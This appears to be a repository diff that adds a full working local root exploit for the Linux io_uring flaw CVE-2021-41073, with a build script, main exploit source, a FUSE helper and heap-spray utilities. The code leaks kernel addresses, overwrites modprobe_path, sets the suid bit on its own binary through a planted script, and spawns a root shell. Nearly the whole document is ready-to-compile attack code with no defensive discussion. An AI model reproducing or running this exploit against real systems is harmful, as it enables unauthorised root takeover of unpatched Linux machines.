🤬
Revision indexing in progress... (symbol navigation in revisions will be accurate after indexed)
  • ■ ■ ■ ■ ■ ■
    CVE-2021-41073/compile.sh
     1 +gcc *.c *.h $(pkg-config fuse --cflags --libs --static) -lpthread -luring -static -o exp
     2 + 
  • ■ ■ ■ ■ ■ ■
    CVE-2021-41073/exploit.c
     1 +#define _GNU_SOURCE
     2 +#include <fcntl.h>
     3 +#include <stdio.h>
     4 +#include <string.h>
     5 +#include <sys/stat.h>
     6 +#include <sys/ioctl.h>
     7 +#include <liburing.h>
     8 +#include <stdlib.h>
     9 +#include <sched.h>
     10 +#include <sys/xattr.h>
     11 +#include <sys/mman.h>
     12 +#include <sys/ipc.h>
     13 +#include <unistd.h>
     14 +#include "util.h"
     15 +#include "hello.h"
     16 + 
     17 +#define QUEUE_DEPTH 2048
     18 +#define BLOCK_SZ 1024
     19 +#define BUFFERS_COUNT 1024
     20 +#define BUF_SIZE 32
     21 +#define GROUP_ID 1337
     22 + 
     23 +#define MS_REC 16384
     24 +#define MS_PRIVATE (1 << 18)
     25 + 
     26 +char bufs[BUFFERS_COUNT][BUF_SIZE] = {0};
     27 + 
     28 +struct io_uring_sqe *sqe;
     29 +struct io_uring_cqe *cqe;
     30 +char buf[2000];
     31 +sem_t *semaphore1, *semaphore2;
     32 +unsigned long *modprobe_path_plus1, *security_a, *slash_tmp;
     33 + 
     34 +static int migrate_to_cpu0(struct io_ring *ring)
     35 +{
     36 + cpu_set_t set;
     37 + 
     38 + CPU_ZERO(&set);
     39 + CPU_SET(0, &set);
     40 + 
     41 + if (sched_setaffinity(getpid(), sizeof(set), &set) == -1)
     42 + {
     43 + perror("[-] sched_setaffinity");
     44 + return -1;
     45 + }
     46 + 
     47 + if (io_uring_register_iowq_aff(ring, sizeof(set), &set) == -1)
     48 + {
     49 + perror("[-] io_uring_register_iowq_aff");
     50 + return -1;
     51 + }
     52 + 
     53 + return 0;
     54 +}
     55 + 
     56 +void provide_io_buffers(struct io_uring *ring)
     57 +{
     58 + sqe = io_uring_get_sqe(ring);
     59 + io_uring_prep_provide_buffers(sqe, bufs, BUF_SIZE, BUFFERS_COUNT, GROUP_ID, 0);
     60 + 
     61 + io_uring_submit(ring);
     62 + io_uring_wait_cqe(ring, &cqe);
     63 + if (cqe->res < 0)
     64 + {
     65 + printf("cqe->res = %d\n", cqe->res);
     66 + exit(1);
     67 + }
     68 + io_uring_cqe_seen(ring, cqe);
     69 +}
     70 + 
     71 +void arb_free(struct io_ring *ring)
     72 +{
     73 + 
     74 + struct io_uring_sqe *sqe = io_uring_get_sqe(ring);
     75 + 
     76 + read_file("/proc/self/maps", 2000);
     77 + 
     78 + int fd = open("/proc/self/maps", O_RDONLY);
     79 + 
     80 + memset(buf, 0, 2000);
     81 + 
     82 + io_uring_prep_read(sqe, fd, buf, 2000, 0);
     83 + io_uring_sqe_set_flags(sqe, IOSQE_BUFFER_SELECT);
     84 + sqe->buf_group = GROUP_ID;
     85 + io_uring_submit(ring);
     86 + 
     87 + struct io_uring_cqe *cqe;
     88 + int ret = io_uring_wait_cqe(ring, &cqe);
     89 + if (ret < 0)
     90 + {
     91 + perror("io_uring_wait_cqe");
     92 + return 1;
     93 + }
     94 + if (cqe->res < 0)
     95 + {
     96 + fprintf(stderr, "Async read failed: %d\n", cqe->res);
     97 + return 1;
     98 + }
     99 + 
     100 + io_uring_cqe_seen(ring, cqe);
     101 +}
     102 + 
     103 +void unshare_setup(uid_t uid, gid_t gid)
     104 +{
     105 + int temp, ret;
     106 + char edit[0x100];
     107 + ret = unshare(CLONE_NEWNS | CLONE_NEWUSER);
     108 + if (ret < 0)
     109 + {
     110 + perror("unshare");
     111 + }
     112 + temp = open("/proc/self/setgroups", O_WRONLY);
     113 + write(temp, "deny", strlen("deny"));
     114 + close(temp);
     115 + temp = open("/proc/self/uid_map", O_WRONLY);
     116 + snprintf(edit, sizeof(edit), "0 %d 1", uid);
     117 + write(temp, edit, strlen(edit));
     118 + close(temp);
     119 + temp = open("/proc/self/gid_map", O_WRONLY);
     120 + snprintf(edit, sizeof(edit), "0 %d 1", gid);
     121 + write(temp, edit, strlen(edit));
     122 + close(temp);
     123 + ret = mount("none", "/", NULL, MS_REC | MS_PRIVATE, NULL);
     124 + if (ret < 0)
     125 + {
     126 + perror("mount");
     127 + }
     128 + return;
     129 +}
     130 + 
     131 +int main(int argc, char *argv[])
     132 +{
     133 + 
     134 + // If suid bit is set, and owned by root, just pop shell
     135 + 
     136 + uid_t euid = geteuid();
     137 + 
     138 + if (euid == 0)
     139 + {
     140 + // Got root!
     141 + printf("Popping shell!\n");
     142 + // Set uid and gid
     143 + setuid(0);
     144 + setgid(0);
     145 + char *args[] = {"/bin/sh", NULL};
     146 + execve("/bin/sh", args, NULL);
     147 + // should not get here
     148 + return 0;
     149 + }
     150 + 
     151 + // Get current binary path
     152 + char* dir_path = malloc(0x200);
     153 + getcwd(dir_path, 0x200);
     154 + char* path = malloc(strlen(dir_path)+8);
     155 + sprintf(path, "%s/exp", dir_path);
     156 + 
     157 + semaphore1 = make_semaphore(0);
     158 + semaphore2 = make_semaphore(0);
     159 + sem_t *sem_read_1 = make_semaphore(0);
     160 + sem_t *sem_read_2 = make_semaphore(0);
     161 + sem_t *sem_write = make_semaphore(0);
     162 + sem_t* sem_pop_shell = make_semaphore(0);
     163 + 
     164 + modprobe_path_plus1 = make_shared_long();
     165 + security_a = make_shared_long();
     166 + slash_tmp = make_shared_long();
     167 + 
     168 + // suid bit set, rerun as root
     169 + if(!fork()){
     170 + sem_wait(sem_pop_shell);
     171 + char *args[] = {path, NULL};
     172 + execve(path, args, NULL);
     173 + }
     174 + 
     175 + // Create a file for setting regular xattributes
     176 + write_file("/tmp/x", "hello", 5);
     177 + 
     178 + struct io_uring_params params;
     179 + struct io_uring ring;
     180 + int ret, qid;
     181 + memset(buf, 0x41, 0x100);
     182 + memset(&params, 0, sizeof(params));
     183 + 
     184 + // Initialize io_uring
     185 + if (io_uring_queue_init_params(2048, &ring, &params) < 0)
     186 + {
     187 + perror("io_uring_init_failed...\n");
     188 + exit(-1);
     189 + }
     190 + 
     191 + // Make sure everything runs on the same CPU
     192 + migrate_to_cpu0(&ring);
     193 + 
     194 + setup_fuse();
     195 + 
     196 + // Basically what `unshare -r -m` does
     197 + // Setting simple_xattrs in security namespace requires CAP_SYS_ADMIN
     198 + unshare_setup(getuid(), getgid());
     199 + 
     200 + // Mount tmpfs
     201 + system("mkdir /tmp/tmpfs");
     202 + system("mount -t tmpfs -o size=50M none /tmp/tmpfs");
     203 + // Create the two files we will set simple_xattrs on
     204 + write_file("/tmp/tmpfs/x", "hello", 5);
     205 + write_file("/tmp/tmpfs/y", "hello", 5);
     206 + 
     207 + // mmap 3 pages that fall just before the 3 memory regions we will mmap to FUSE
     208 + unsigned long mem1 = mmap(FUSE_MEM_ADDR - 0x1000, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);
     209 + if (mem1 != FUSE_MEM_ADDR - 0x1000)
     210 + {
     211 + perror("mmap 1");
     212 + exit(-1);
     213 + }
     214 + unsigned long mem2 = mmap(FUSE_MEM_ADDR2 - 0x1000, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);
     215 + if (mem2 != FUSE_MEM_ADDR2 - 0x1000)
     216 + {
     217 + perror("mmap 2");
     218 + exit(-1);
     219 + }
     220 + unsigned long mem3 = mmap(FUSE_MEM_ADDR3 - 0x1000, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);
     221 + if (mem3 != FUSE_MEM_ADDR3 - 0x1000)
     222 + {
     223 + perror("mmap 3");
     224 + exit(-1);
     225 + }
     226 + 
     227 + 
     228 + memset(mem1, 0x41, 0x1000);
     229 + memset(mem2, 0x41, 0x1000);
     230 + memset(mem3, 0x41, 0x1000);
     231 + 
     232 + // Create processes earlier so it doesn't mess up kmalloc-32
     233 + // For read 1
     234 + if (!fork())
     235 + {
     236 + sem_wait(sem_read_1);
     237 + // Allow 0x20-8 bytes to be immediately copied
     238 + // copy_from_user blocks on remaining 8 bytes
     239 + // xattr value buf gets freed
     240 + // Hopefully gets reallocated to the shm_file_data struct that we want to leak
     241 + // shm_file_data overwrites first 24 bytes with useful information
     242 + // copy_from_user is unblocked, allowing the xattr to be set with 24 bytes of leaked data
     243 + // from the shm_file_data struct
     244 + if (setxattr("/tmp/x", "user.a", FUSE_MEM_ADDR - (0x20 - 0x8), 0x20 - 1, 0) == -1)
     245 + {
     246 + perror("setxattr");
     247 + }
     248 + sleep(0x100000);
     249 + }
     250 + if (!fork())
     251 + {
     252 + sem_wait(sem_read_2);
     253 + // Basically the same as the other read
     254 + if (setxattr("/tmp/x", "user.a2", FUSE_MEM_ADDR2 - (0x20 - 0x8), 0x20 - 1, 0) == -1)
     255 + {
     256 + perror("setxattr");
     257 + }
     258 + sleep(0x100000);
     259 + }
     260 + if (!fork())
     261 + {
     262 + sem_wait(sem_write);
     263 + 
     264 + // In this case, we are writing to the freed simple_xattr buffer
     265 + // 0x20-8 bytes from the non-FUSE page are immediately copied
     266 + // copy_from_user blocks forever (prevents double free)
     267 + // We don't need to change the 4th qword
     268 + unsigned long base_address = FUSE_MEM_ADDR3 - (0x20 - 0x8);
     269 + memcpy(base_address, slash_tmp, 8);
     270 + memcpy(base_address + 8, modprobe_path_plus1, 8);
     271 + memcpy(base_address + 16, security_a, 8);
     272 + 
     273 + int ret = setxattr("/tmp/x", "user.b", base_address, 0x20 - 1, 0);
     274 + // This should never return
     275 + printf("setxattr ret: %d\n", ret);
     276 + if (ret == -1)
     277 + {
     278 + perror("setxattr");
     279 + }
     280 + sleep(0x100000);
     281 + return;
     282 + }
     283 + 
     284 + // Stage 1: Leak kernel base
     285 + 
     286 + // Fill up holes in kmalloc-32
     287 + spray_kmalloc32(0x50);
     288 + // Create a bunch of io_buffer
     289 + provide_io_buffers(&ring);
     290 + 
     291 + // Start setxattr
     292 + sem_post(sem_read_1);
     293 + // Wait for malloc just after final io_buffer
     294 + sem_wait(semaphore1);
     295 + // Free xattr buf
     296 + arb_free(&ring);
     297 + // Spray structs containing shm_file_data
     298 + spray_kmalloc32(0x5);
     299 + // Finish copying data into final 8 bytes
     300 + sem_post(semaphore2);
     301 + sleep(1);
     302 + ret = getxattr("/tmp/x", "user.a", buf, 0x20 - 1);
     303 + if (ret < 0)
     304 + {
     305 + perror("getxattr");
     306 + }
     307 + unsigned long *long_buf = (unsigned long *)buf;
     308 + unsigned long leak = long_buf[1];
     309 + // We add 1 to the modprobe path address because
     310 + // the first character is / and we don't need to change that
     311 + *modprobe_path_plus1 = (leak - 1384480+1);
     312 + printf("Leaked modprobe_path: %p\n", leak - 1384480);
     313 + 
     314 + 
     315 + // Stage 2 leak an address of "security.a"
     316 + 
     317 + // Basically the same as stage 1
     318 + spray_kmalloc32(0x50);
     319 + provide_io_buffers(&ring);
     320 + sem_post(sem_read_2);
     321 + sem_wait(semaphore1);
     322 + arb_free(&ring);
     323 + // Create simple_xattr (kmalloced into kmalloc-32)
     324 + // Contains pointer to name of simple_xattr (security.a)
     325 + setxattr("/tmp/tmpfs/y", "security.a", buf, 0, 0);
     326 + sleep(1);
     327 + sem_post(semaphore2);
     328 + sleep(1);
     329 + ret = getxattr("/tmp/x", "user.a2", buf, 0x20 - 1);
     330 + if (ret < 0)
     331 + {
     332 + perror("getxattr");
     333 + }
     334 + if (long_buf[2] == 0)
     335 + {
     336 + exit(-1);
     337 + }
     338 + printf("Leaked address of security.a: %p \n", long_buf[2]);
     339 + *security_a = long_buf[2];
     340 + unsigned long heap = long_buf[2] & 0xffffffff00000000;
     341 + printf("Leaked physmap: %p\n", heap);
     342 + *slash_tmp = heap + 0x2f706d74;
     343 + // If physmap starts after 0ffffxxxx20000000, add 0x100000000
     344 + // For 0-2 probably fine as is
     345 + // 3-7 will probably not have enough physmap to rollover to next digit (depends on number of physmapped pages)
     346 + // 8-f will probably work with next digit
     347 + if (((long_buf[2]&0xf0000000)>>28) > 0x2){
     348 + *slash_tmp += 0x100000000;
     349 + }
     350 + printf("Using %p as 0ffffxxxx2f706d74\n", *slash_tmp);
     351 + 
     352 + // Stage 3: use 'unlinking' to write modprobe_path
     353 + 
     354 + spray_kmalloc32(0x50);
     355 + provide_io_buffers(&ring);
     356 + ret = setxattr("/tmp/tmpfs/x", "security.a", buf, 0, 0);
     357 + if (ret < 0)
     358 + {
     359 + perror("setxattr write");
     360 + }
     361 + // Free simple_xattr
     362 + arb_free(&ring);
     363 + // Start write
     364 + sem_post(sem_write);
     365 + sleep(1);
     366 + // simple_xattr->next is now modprobe_path + 1
     367 + // simple_xattr->prev is now 0ffffxxxx2f706d74
     368 + // When removed, simple_xattr->next->prev = simple_xattr->prev
     369 + // Ie *(modprobe_path + 1) = 0ffffxxxx2f706d74
     370 + removexattr("/tmp/tmpfs/x", "security.a");
     371 + 
     372 + // Pretty standard stuff from here
     373 + printf("Modprobe path: %s\n", read_file("/proc/sys/kernel/modprobe", 0x10));
     374 + 
     375 + // Set suid bit on this file and make root the owner
     376 + 
     377 + char *script = malloc(0x200);
     378 + char *modprobe_path = malloc(0x20);
     379 + 
     380 + sprintf(script, "#!/bin/bash\nchown root:root %s\nchmod u+s %s\n", path, path);
     381 + sprintf(modprobe_path,"/%sprobe", slash_tmp);
     382 + write_file(modprobe_path, script, strlen(script));
     383 + 
     384 + sprintf(script, "chmod 700 %s\n", modprobe_path);
     385 + system(script);
     386 + 
     387 + // Write file starting with ffff (does not match and type of file)
     388 + // OS will execute script at modprobe_path to try to identify file type
     389 + write_file("/tmp/z", "\xff\xff\xff\xff\xff\xff\0", 6);
     390 + system("chmod 700 /tmp/z");
     391 + 
     392 + // Trigger modprobe_path
     393 + system("/tmp/z 2>/dev/null");
     394 + printf("setuid bit set\n");
     395 + 
     396 + 
     397 + // Part 4: Pop shell
     398 + sem_post(sem_pop_shell);
     399 + wait(NULL);
     400 + sleep(0x100000);
     401 +}
  • ■ ■ ■ ■ ■ ■
    CVE-2021-41073/hello.c
     1 +#define FUSE_USE_VERSION 29
     2 + 
     3 +#include <fuse.h>
     4 +#include <string.h>
     5 +#include <errno.h>
     6 +#include <fcntl.h>
     7 +#include <stddef.h>
     8 +#include <sys/stat.h>
     9 +#include <sys/mman.h>
     10 +#include <semaphore.h>
     11 +#include <stdio.h>
     12 +#include <stdlib.h>
     13 +#include <unistd.h>
     14 +#include "hello.h"
     15 + 
     16 + 
     17 +extern sem_t *semaphore1, *semaphore2;
     18 + 
     19 +static int hello_getattr(const char *path, struct stat *stbuf,
     20 + struct fuse_file_info *fi)
     21 +{
     22 + (void)fi;
     23 + int res = 0;
     24 + 
     25 + memset(stbuf, 0, sizeof(struct stat));
     26 + if (strcmp(path, "/") == 0)
     27 + {
     28 + stbuf->st_mode = S_IFDIR | 0755;
     29 + stbuf->st_nlink = 2;
     30 + }
     31 + else if (strcmp(path + 1, "read") == 0 || strcmp(path + 1, "read2") == 0 || strcmp(path + 1, "write") == 0)
     32 + {
     33 + stbuf->st_mode = S_IFREG | 0444;
     34 + stbuf->st_nlink = 1;
     35 + stbuf->st_size = 0x2000;
     36 + }
     37 + else
     38 + res = -ENOENT;
     39 + 
     40 + return res;
     41 +}
     42 + 
     43 +static int hello_open(const char *path, struct fuse_file_info *fi)
     44 +{
     45 + return 0;
     46 +}
     47 + 
     48 +static int hello_read(const char *path, char *buf, size_t size, off_t offset,
     49 + struct fuse_file_info *fi)
     50 +{
     51 + size_t len;
     52 + (void)fi;
     53 + if (strcmp(path + 1, "read") == 0 || strcmp(path + 1, "read2") == 0)
     54 + {
     55 + // Reached copy_from_user, start overwrite
     56 + sem_post(semaphore1);
     57 + 
     58 + // Prepare 'file contents'
     59 + char *contents = malloc(0x2000);
     60 + memset(contents, 0x41, 0x2000);
     61 + 
     62 + // Copy 'file contents' to buffer
     63 + len = 0x2000;
     64 + if (offset < len)
     65 + {
     66 + if (offset + size > len)
     67 + size = len - offset;
     68 + memcpy(buf, contents + offset, size);
     69 + }
     70 + else
     71 + size = 0;
     72 + 
     73 + sem_wait(semaphore2);
     74 + 
     75 + return size;
     76 + }
     77 + if (strcmp(path + 1, "write") == 0)
     78 + {
     79 + // block
     80 + sleep(0x10000);
     81 + }
     82 + return -ENOENT;
     83 +}
     84 + 
     85 +static const struct fuse_operations hello_oper = {
     86 + .getattr = hello_getattr,
     87 + .open = hello_open,
     88 + .read = hello_read,
     89 +};
     90 + 
     91 +void setup_fuse()
     92 +{
     93 + int ret;
     94 + char *argv[] = {"./hello", "/tmp/mnt/hello", NULL};
     95 + system("mkdir -p /tmp/mnt/hello");
     96 + if (!fork())
     97 + {
     98 + ret = fuse_main(2, argv, &hello_oper, NULL);
     99 + if (ret < 0)
     100 + {
     101 + perror("fuse main");
     102 + exit(-1);
     103 + }
     104 + }
     105 + sleep(1);
     106 + 
     107 + int fuse_fd_read = open("/tmp/mnt/hello/read", O_RDWR);
     108 + ret = mmap(FUSE_MEM_ADDR, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_FIXED, fuse_fd_read, 0);
     109 + if(ret != FUSE_MEM_ADDR){
     110 + perror("Fuse read");
     111 + exit(-1);
     112 + }
     113 + int fuse_fd_read2 = open("/tmp/mnt/hello/read2", O_RDWR);
     114 + ret = mmap(FUSE_MEM_ADDR2, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_FIXED, fuse_fd_read2, 0);
     115 + if(ret != FUSE_MEM_ADDR2){
     116 + perror("Fuse read2");
     117 + exit(-1);
     118 + }
     119 + int fuse_fd_write = open("/tmp/mnt/hello/write", O_RDWR);
     120 + ret = mmap(FUSE_MEM_ADDR3, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_FIXED, fuse_fd_write, 0);
     121 + if(ret != FUSE_MEM_ADDR3){
     122 + perror("Fuse write");
     123 + exit(-1);
     124 + }
     125 + printf("Fuse ok\n");
     126 +}
     127 + 
  • ■ ■ ■ ■ ■ ■
    CVE-2021-41073/hello.h
     1 +#define FUSE_MEM_ADDR 0x1337000
     2 +#define FUSE_MEM_ADDR2 0xdead000
     3 +#define FUSE_MEM_ADDR3 0xbeef000
     4 +void setup_fuse();
  • ■ ■ ■ ■ ■ ■
    CVE-2021-41073/util.c
     1 +#include "util.h"
     2 +#include <sys/shm.h>
     3 +#include <stdlib.h>
     4 +#include <stdio.h>
     5 +#include <string.h>
     6 +#include <unistd.h>
     7 +#include <fcntl.h>
     8 +#include <semaphore.h>
     9 + 
     10 +// general utils
     11 +sem_t* make_semaphore(int initial){
     12 + int shm = shmget(IPC_PRIVATE, sizeof(sem_t), IPC_CREAT | 0666);
     13 + sem_t *semaphore = shmat(shm, NULL, 0);
     14 + sem_init(semaphore, 1, initial);
     15 + return semaphore;
     16 +}
     17 +unsigned long* make_shared_long(){
     18 + int shm = shmget(IPC_PRIVATE, sizeof(unsigned long), IPC_CREAT | 0666);
     19 + return shmat(shm, NULL, 0);
     20 +}
     21 + 
     22 +// file utils
     23 +char* read_file(char* path, int size){
     24 + char *buf = malloc(size);
     25 + int fd = open(path, O_RDONLY);
     26 + read(fd, buf, size);
     27 + close(fd);
     28 + return buf;
     29 +}
     30 + 
     31 +void write_file(char* path, char* buf, int size){
     32 + int fd = open(path, O_RDWR|O_CREAT);
     33 + write(fd, buf, size);
     34 + close(fd);
     35 + return;
     36 +}
     37 + 
     38 +// msg utils
     39 + 
     40 +int make_queue(){
     41 + return msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
     42 +}
     43 + 
     44 +msg* make_message(int size){
     45 + msg* message = (msg*)malloc(size + 0x100);
     46 + message->mtype = 1;
     47 + memset(message->mtext, 0x41, size);
     48 + return message;
     49 +}
     50 + 
     51 +void send_messages(int size, int num){
     52 + int ret;
     53 + msg* message = make_message(size);
     54 + for (int i = 0; i < num; i++){
     55 + ret = msgsnd(make_queue(), message, size - 0x30, IPC_NOWAIT);
     56 + if (ret == -1) {
     57 + perror("msgsnd");
     58 + exit(-1);
     59 + }
     60 + }
     61 +}
     62 + 
     63 +// kmalloc spray
     64 +void spray_kmalloc32(int num){
     65 + int shmid;
     66 + char *shmaddr;
     67 + for (int i = 0; i < num; i++)
     68 + {
     69 + if ((shmid = shmget(IPC_PRIVATE, 100, 0600)) == -1)
     70 + {
     71 + perror("shmget error");
     72 + exit(-1);
     73 + }
     74 + shmaddr = shmat(shmid, NULL, 0);
     75 + if (shmaddr == (void*)-1)
     76 + {
     77 + perror("shmat error");
     78 + exit(-1);
     79 + }
     80 + }
     81 +}
  • ■ ■ ■ ■ ■ ■
    CVE-2021-41073/util.h
     1 +#ifndef UTIL_H
     2 +#define UTIL_H
     3 +#include <semaphore.h>
     4 +typedef struct{
     5 + long mtype;
     6 + char mtext[1];
     7 +} msg;
     8 + 
     9 +sem_t* make_semaphore(int initial);
     10 +unsigned long* make_shared_long();
     11 + 
     12 +char* read_file(char* path, int size);
     13 +void write_file(char* path, char* buf, int size);
     14 + 
     15 +int make_queue();
     16 +msg* make_message(int size);
     17 +void send_messages(int size, int num);
     18 +void spray_kmalloc32(int num);
     19 + 
     20 +#endif
Please wait...
Page is in error, reload to recover